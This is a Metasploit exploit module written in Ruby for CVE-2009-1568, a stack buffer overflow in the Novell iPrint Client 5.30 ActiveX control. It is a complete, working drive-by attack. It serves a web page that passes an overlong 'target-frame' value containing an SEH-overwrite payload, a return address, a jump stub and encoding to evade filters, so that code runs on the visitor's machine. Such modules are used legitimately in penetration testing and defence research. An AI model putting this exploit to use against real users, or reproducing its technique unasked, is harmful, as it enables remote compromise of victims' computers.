Novell iPrint Client ActiveX Control target-frame Buffer Overflow



##

# $Id: novelliprint_target_frame.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Novell iPrint Client ActiveX Control target-frame Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
                passing an overly long string via the "target-frame" parameter to ienipp.ocx
                an attacker can execute arbitrary code.

                NOTE: The "operation" variable must be set to a valid command in order to reach this
                vulnerability.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'jduck' ],
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2009-1568' ],
                    [ 'BID', '37242' ],
                    [ 'OSVDB', '60803' ],
                    [ 'URL', 'http://secunia.com/advisories/37169/' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1456,
                    'BadChars'      => "\x00",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'iPrint 5.30 Windows Client', { 'Ret' => 0x100489ac } ] # p/p/r in ienipp.ocx v5.30
                ],
            'DisclosureDate' => 'Dec 08 2009',
            'DefaultTarget'  => 0))
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)
        # Re-generate the payload.
        return if ((p = regenerate_payload(cli)) == nil)

        sploit = p.encoded

        # the following must be an invalid pointer (unreadable)
        sploit << [rand(0xffffffff) | 0xc0000000].pack('V')

        sploit << generate_seh_record(target.ret)

        distance = 8 + 4 + payload_space
        sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

        sploit << rand_text_alphanumeric(2048 - sploit.length)

        operations = [
            "op-client-interface-version",
            "op-client-version-info",
            "op-client-is-printer-installed",
            "op-user-get-role",
            "op-printer-install",
            "op-printer-remove",
            "op-printer-get-status",
            "op-printer-get-info",
            "op-printer-pause",
            "op-printer-resume",
            "op-printer-purge-jobs",
            "op-printer-list-users-jobs",
            "op-printer-list-all-jobs",
            "op-printer-send-test-page",
            "op-printer-send-file",
            "op-printer-setup-install",
            "op-job-get-info",
            "op-job-hold",
            "op-job-release-hold",
            "op-job-cancel",
            "op-job-restart",
            "op-dbg-printer-get-all-attrs",
            "op-dbg-job-get-all-attrs"
        ]
        operation = operations[rand(operations.length)]

        # escape single quotes
        sploit = xml_encode(sploit)

        content = %Q|<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
<param name='operation' value='#{operation}' />
<param name='target-frame' value='#{sploit}' />
</object>
</html>
|

        content = Rex::Text.randomize_space(content)

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        # Transmit the response to the client
        send_response_html(cli, content)

        # Handle the payload
        handler(cli)
    end

    def xml_encode(str)
        ret = ""
        str.unpack('C*').each { |ch|
            case ch
            when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
                ret << ch.chr
            else
                ret << "&#x"
                ret << ch.chr.unpack('H*')[0]
                ret << ";"
            end
        }
        ret
    end

end